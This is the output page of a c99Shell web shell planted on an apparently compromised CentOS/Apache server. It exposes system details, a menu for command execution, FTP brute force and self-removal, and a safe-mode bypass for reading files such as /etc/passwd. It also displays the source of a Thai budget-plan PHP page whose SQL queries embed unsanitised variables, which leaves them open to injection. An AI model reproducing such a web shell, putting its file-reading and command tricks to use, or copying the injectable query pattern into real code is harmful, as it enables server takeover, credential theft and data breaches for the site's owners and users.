!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PlanStdDetail.php (6.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 
   
include("./include/FunctionDB.php");
  include(
"./include/Function.php");

  
ConnectDB();
$sql =  " SELECT * FROM  projectStdPlan_tb   Where   Budget_Year='$Budget_Year'  and   Faculty_code='$Faculty_code'  and  Project_code='$Project_code' ";
$result mysql_query($sql) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result);
?>

<html>
<head>
<title>ข้อมูลแผนดำเนินการ</title>
<link href="../source/style.css" rel="stylesheet" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<style type="text/css">
<!--
.style6 {font-size: 14px}
.style17 {font-family: Tahoma; font-size: 16px; }
.style18 {font-family: Tahoma}
.style33 {font-size: 14px; font-family: "MS sans serif"; }
.style34 {font-size: 14px; font-family: "MS sans serif"; font-weight: bold; }
.style36 {font-size: 16px}
-->
</style>
</head>


<table width="560" border="0" align="center">
  <tr>
    <td width="554"><fieldset>
    <table width="94%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#E0E0E0">
      <tr bgcolor="#ECD9C6">
        <td height="19" colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
      </tr>
      <tr bgcolor="#ECD9C6">
        <td height="19" colspan="3" bgcolor="#FFFFFF"><div align="center" class="style36"><font color="#000000" face="Tahoma">แสดงรายละเอียดของแผนดำเนินการ </font></div></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF"><div align="center" class="style6">
            <div align="left"><font color="#003366" face="Tahoma">รหัสหน่วยงาน</font></div>
        </div></td>
        <td width="0%" rowspan="11" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma">
          <?php
         $Faculty_code 
=  $rs["Faculty_code"];
         
$sql "Select * From faculty_tb Where Faculty_code='$Faculty_code' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[Faculty_code]    $rss[Faculty_name]";
         
?>
        </font> </td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF"><div align="center" class="style6">
            <div align="left"><font color="#003366" face="Tahoma">รหัสของแผน</font></div>
        </div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF"><div align="center" class="style6">
            <div align="left"><font color="#000066" face="Tahoma">แผนงานโครงการ</font></div>
        </div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_plan]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td width="22%" bgcolor="#FFFFFF"><div align="center" class="style6">
            <div align="left"><font color="#003366" face="Tahoma">วัตถุประสงค์</font></div>
        </div></td>
        <td width="78%" bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist_2]?></font> </td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF"><div align="center" class="style6">
            <div align="left"><font color="#000066" face="Tahoma">ตัวชี้วัดความสำเร็จ</font></div>
        </div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_name]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF"><div align="center" class="style6">
            <div align="left"><font color="#000066" face="Tahoma">วิธีการดำเนินงาน</font></div>
        </div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_rep]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF"><div align="center" class="style6">
            <div align="left"><font color="#003366" face="Tahoma">กลุ่มเป้าหมาย</font></div>
        </div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Period]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF"><div align="center" class="style6">
            <div align="left"><font color="#003366" face="Tahoma">ผลที่คาดว่าจะได้รับ</font></div>
        </div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Period_1]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF"><div align="center" class="style6">
            <div align="left"><font color="#003366" face="Tahoma">หมวดเงิน</font></div>
        </div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">
          <?php
        $MoneyS_C  
$rs[MoneyS_C];
         
$sql3 "Select * From   money_source_tb Where  MoneyS_C='$MoneyS_C'";
         
$result3 mysql_query($sql3) or die("Error".mysql_error());
         
$rss mysql_fetch_array($result3);
          echo
" $rss[MoneyS_M]";
         
?>
        </font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF"><div align="center" class="style6">
            <div align="left"><font color="#003366" face="Tahoma">ปีงบประมาณ พ.ศ.</font></div>
        </div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Budget_Year]?></font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td height="22" bgcolor="#FFFFFF">&nbsp;</td>
        <td align="center" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
      </tr>
      <tr bgcolor="#ECD9C6">
        <td colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
      </tr>
      <tr bgcolor="#ECD9C6">
        <td colspan="3" bgcolor="#FFFFFF"><div align="center">
            <input type="button" name="close22" value="ปิดหน้าต่าง" onClick="window.close()">
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </div></td>
      </tr>
    </table>
    </fieldset></td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0131 ]--